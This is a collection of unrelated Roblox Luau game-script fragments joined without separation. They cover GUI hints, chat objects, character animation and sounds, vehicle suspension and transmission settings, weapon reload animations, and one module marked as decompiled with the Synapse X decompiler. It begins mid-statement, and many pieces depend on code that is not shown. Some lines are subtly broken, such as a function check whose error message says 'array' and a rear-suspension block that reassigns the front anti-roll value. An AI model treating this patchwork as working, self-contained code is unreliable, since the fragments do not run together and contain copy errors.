table.create(#t) if (#t > 0) then local n = 0 for i = 1,#t do local v = t[i] if (f(v, i, t)) then n = (n + 1) newT[n] = v end end else for k,v in pairs(t) do if (f(v, k, t)) then newT[k] = v end end end return newT end local function Reduce(t, f, init) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") assert(init == nil or type(init) == "number", "Third argument must be a number or nil") local result = (init or 0) for k,v in pairs(t) do result = f(result, v, k, t) end return result end
--// All global vars will be wiped/replaced except script --// All guis are autonamed client.Variables.CodeName..gui.Name --// Be sure to update the console gui's code if you change stuff
return function(data, env) if env then setfenv(1, env) end if not data.Message then return end local gTable = data.gTable local baseClip = script.Parent.Parent.BaseClip local hintTemplate = baseClip.Frame local hintClone = hintTemplate local hintButton = hintClone:WaitForChild('TextButton') local hintTop = hintClone:WaitForChild('Top') local hintBody = hintClone:WaitForChild('Body') local hintTitleText = hintTop:WaitForChild('Title') local hintBodyText = hintBody:WaitForChild('To Name Later') gTable.BindEvent(hintButton.MouseButton1Click, function() hintClone:TweenPosition(UDim2.new(0,0,0,-hintClone.AbsoluteSize.Y),'Out','Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then hintClone:Destroy() gTable:Destroy() end end) end) hintTitleText.Text = data.Title or " " hintBodyText.Text = data.Message hintClone.Parent = baseClip hintClone.Visible = true hintClone.Position = UDim2.new(0,0,-1,0) gTable.CustomDestroy = function() gTable.CustomDestroy = nil gTable.ClearEvents() pcall(function() hintClone:TweenPosition(UDim2.new(0,0,0,-hintClone.AbsoluteSize.Y),'Out','Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then hintClone:Destroy() gTable:Destroy() end end) wait(0.3) end) gTable:Destroy() end gTable:Ready() hintClone:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',0.3,true) local def_waitTime = (#hintBodyText.Text*0.1)+1 local waitTime = tonumber(data.Wait or def_waitTime) or def_waitTime if def_waitTime <= 1 then def_waitTime = 2.5 elseif def_waitTime > 10 then def_waitTime = 10 end wait(waitTime) pcall(function() if hintClone then hintClone:TweenPosition(UDim2.new(0,0,0,-hintClone.AbsoluteSize.Y),'Out','Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then hintClone:Destroy() gTable:Destroy() end end) end end) end
-- ROBLOX FIXME: workaround for defult generic param
export type Expect_ = Expect<MatcherState> type Constructable = { new: (...Array<any>) -> any, }
--///////////////////////// Constructors --//////////////////////////////////////
function module.new(vChatService, name) local obj = setmetatable({}, methods) obj.ChatService = vChatService obj.PlayerObj = nil obj.Name = name obj.ExtraData = {} obj.Channels = {} obj.MutedSpeakers = {} -- Make sure to destroy added binadable events in the InternalDestroy method. obj.eDestroyed = Instance.new("BindableEvent") obj.eSaidMessage = Instance.new("BindableEvent") obj.eReceivedMessage = Instance.new("BindableEvent") obj.eMessageDoneFiltering = Instance.new("BindableEvent") obj.eReceivedSystemMessage = Instance.new("BindableEvent") obj.eChannelJoined = Instance.new("BindableEvent") obj.eChannelLeft = Instance.new("BindableEvent") obj.eMuted = Instance.new("BindableEvent") obj.eUnmuted = Instance.new("BindableEvent") obj.eExtraDataUpdated = Instance.new("BindableEvent") obj.eMainChannelSet = Instance.new("BindableEvent") obj.eChannelNameColorUpdated = Instance.new("BindableEvent") obj.Destroyed = obj.eDestroyed.Event obj.SaidMessage = obj.eSaidMessage.Event obj.ReceivedMessage = obj.eReceivedMessage.Event obj.MessageDoneFiltering = obj.eMessageDoneFiltering.Event obj.ReceivedSystemMessage = obj.eReceivedSystemMessage.Event obj.ChannelJoined = obj.eChannelJoined.Event obj.ChannelLeft = obj.eChannelLeft.Event obj.Muted = obj.eMuted.Event obj.Unmuted = obj.eUnmuted.Event obj.ExtraDataUpdated = obj.eExtraDataUpdated.Event obj.MainChannelSet = obj.eMainChannelSet.Event obj.ChannelNameColorUpdated = obj.eChannelNameColorUpdated.Event return obj end return module
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then if FFlagUserAdjustHumanoidRootPartToHipPosition then if not Humanoid.AutomaticScalingEnabled then return 1 end end local scale = Humanoid.HipHeight / HumanoidHipHeight if userAnimationSpeedDampening then if AnimationSpeedDampeningObject == nil then AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent") end if AnimationSpeedDampeningObject ~= nil then scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight end end return scale end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) local speedScaled = speed * 4.5 -- Default is 1.25 local heightScale = getHeightScale() local runSpeed = speedScaled / heightScale if runSpeed ~= currentAnimSpeed then if runSpeed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif runSpeed < 0.66 then local weight = ((runSpeed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end currentAnimSpeed = runSpeed runAnimTrack:AdjustSpeed(runSpeed) currentAnimTrack:AdjustSpeed(runSpeed) end end function setAnimationSpeed(speed) if currentAnim == "walk" then setRunSpeed(speed) else if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then if userNoUpdateOnLoop == true then if runAnimTrack.Looped ~= true then runAnimTrack.TimePosition = 0.0 end if currentAnimTrack.Looped ~= true then currentAnimTrack.TimePosition = 0.0 end else runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 end else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() if userNoUpdateOnLoop == true then runAnimTrack = nil end end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end
-- Define each RemoteEvent individually
local SpawnSegway = RemoteFolder:WaitForChild("SpawnSegway") local ConfigTool = RemoteFolder:WaitForChild("ConfigTool") local DestroySegway = RemoteFolder:WaitForChild("DestroySegway") local PlaySound = RemoteFolder:WaitForChild("PlaySound") local StopSound = RemoteFolder:WaitForChild("StopSound") local UndoTags = RemoteFolder:WaitForChild("UndoTags") local UndoHasWelded = RemoteFolder:WaitForChild("UndoHasWelded") local DeleteWelds = RemoteFolder:WaitForChild("DeleteWelds") local ConfigHumanoid = RemoteFolder:WaitForChild("ConfigHumanoid") local ConfigLights = RemoteFolder:WaitForChild("ConfigLights")
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__ReplicatedStorage__2 = game.ReplicatedStorage; local v3 = require(game.ReplicatedStorage.Modules.Lightning); local v4 = require(game.ReplicatedStorage.Modules.Xeno); local v5 = require(game.ReplicatedStorage.Modules.CameraShaker); local l__TweenService__6 = game.TweenService; local l__Debris__7 = game.Debris; function v1.RunStompFx(p1, p2, p3, p4) local v8 = game.ReplicatedStorage.KillFX.Deletion.Thimg:Clone(); v8.Parent = p2; local v9 = game.ReplicatedStorage.KillFX.Deletion.Sound:Clone(); v9.Parent = p2; v9:Play(); for v10, v11 in pairs(v8:GetDescendants()) do if v11:IsA("ImageLabel") then game.TweenService:Create(v11, TweenInfo.new(1.5, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out), { Size = UDim2.fromScale(1, 1), ImageTransparency = 0 }):Play(); end; end; task.delay(3, function() for v12, v13 in pairs(v8:GetDescendants()) do if v13:IsA("ImageLabel") then game.TweenService:Create(v13, TweenInfo.new(1, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), { ImageTransparency = 1 }):Play(); end; end; end); for v14, v15 in pairs(p2.Parent:GetDescendants()) do if not (not v15:IsA("BasePart")) or not (not v15:IsA("MeshPart")) or v15:IsA("Decal") then game:GetService("TweenService"):Create(v15, TweenInfo.new(0.5), { Transparency = 1 }):Play(); end; end; return nil; end; return v1;
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Sea of Blood" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Character.Purity.Value <= -100 end
-- connect up
function stopLoopedSounds() sRunning:Stop() sClimbing:Stop() sSwimming:Stop() end Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Swimming:connect(onSwimming) Humanoid.Climbing:connect(onClimbing) Humanoid.Jumping:connect(function(state) onStateNoStop(state, sJumping) prevState = "Jump" end) Humanoid.GettingUp:connect(function(state) stopLoopedSounds() onStateNoStop(state, sGettingUp) prevState = "GetUp" end) Humanoid.FreeFalling:connect(function(state) stopLoopedSounds() onStateFall(state, sFreeFalling) prevState = "FreeFall" end) Humanoid.FallingDown:connect(function(state) stopLoopedSounds() end) Humanoid.StateChanged:connect(function(old, new) if not (new.Name == "Dead" or new.Name == "Running" or new.Name == "RunningNoPhysics" or new.Name == "Swimming" or new.Name == "Jumping" or new.Name == "GettingUp" or new.Name == "Freefall" or new.Name == "FallingDown") then stopLoopedSounds() end end)
-- Holding Services
Players = game:GetService("Players") ReplicatedStorage = game:GetService("ReplicatedStorage") ServerStorage = game:GetService("ServerStorage") TweenService = game:GetService("TweenService") Chat = game:GetService("Chat")
-- A function to play fire sounds.
function PlayFireSound() local NewSound = FireSound:Clone() NewSound.Parent = Handle NewSound:Play() Debris:AddItem(NewSound, NewSound.TimeLength) end function PlayReloadSound() local ReloadSound = Handle.Reload:Clone() ReloadSound.Parent = Handle ReloadSound:Play() Debris:AddItem(ReloadSound, ReloadSound.TimeLength) end
-- luaP_opnames[] is set above, as the luaP.opnames table
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "GreenTopHat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,-.15,0.00) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--[[Weight and CG]]
Tune.Weight = 3000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 12 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible
----------------------------------------
local Body = script.Parent.Body; local torsoAt = Character.Torso.Position local toGhost = Body.Position - torsoAt toGhost = Vector3.new(toGhost.x, 0, toGhost.z).unit local ghostAt = torsoAt + toGhost*3 + Vector3.new(0, 2 + 1*math.sin(tick()), 0) Body.CFrame = Character.Torso.CFrame; Create"BodyPosition"{ Name = 'Float'; Parent = Body; position = Character.Torso.Position + Vector3.new(1,1,1); --D = 500; }; Create'BodyGyro'{ Name = 'Rotate'; Parent = Body; cframe = Character.Torso.CFrame; maxTorque = Vector3.new(40000, 20000, 40000); }; wait(2);
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = 250 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 50 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios --Gear Ratios Tune.FinalDrive = 3.90 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 4.30 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 4.90 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 3.15 , --[[ 3 ]] 1.95 , --[[ 4 ]] 1.40 , --[[ 5 ]] 1.00 , --[[ 6 ]] 0.75 , } Tune.FDMult = 1.0 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(1.75,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play() wait(.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(1.25,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.2) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.42,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-105), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.42,0.475,-2.25) * CFrame.Angles(math.rad(-110),math.rad(0),math.rad(7.5))}):Play() objs[5].Mag.Transparency = 1 objs[5].Handle:WaitForChild("MagOut"):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.25, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() wait(0.5) ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(1.5) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-105), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.475,-2) * CFrame.Angles(math.rad(-110),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.2) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--Function For Making New Ray Bricks
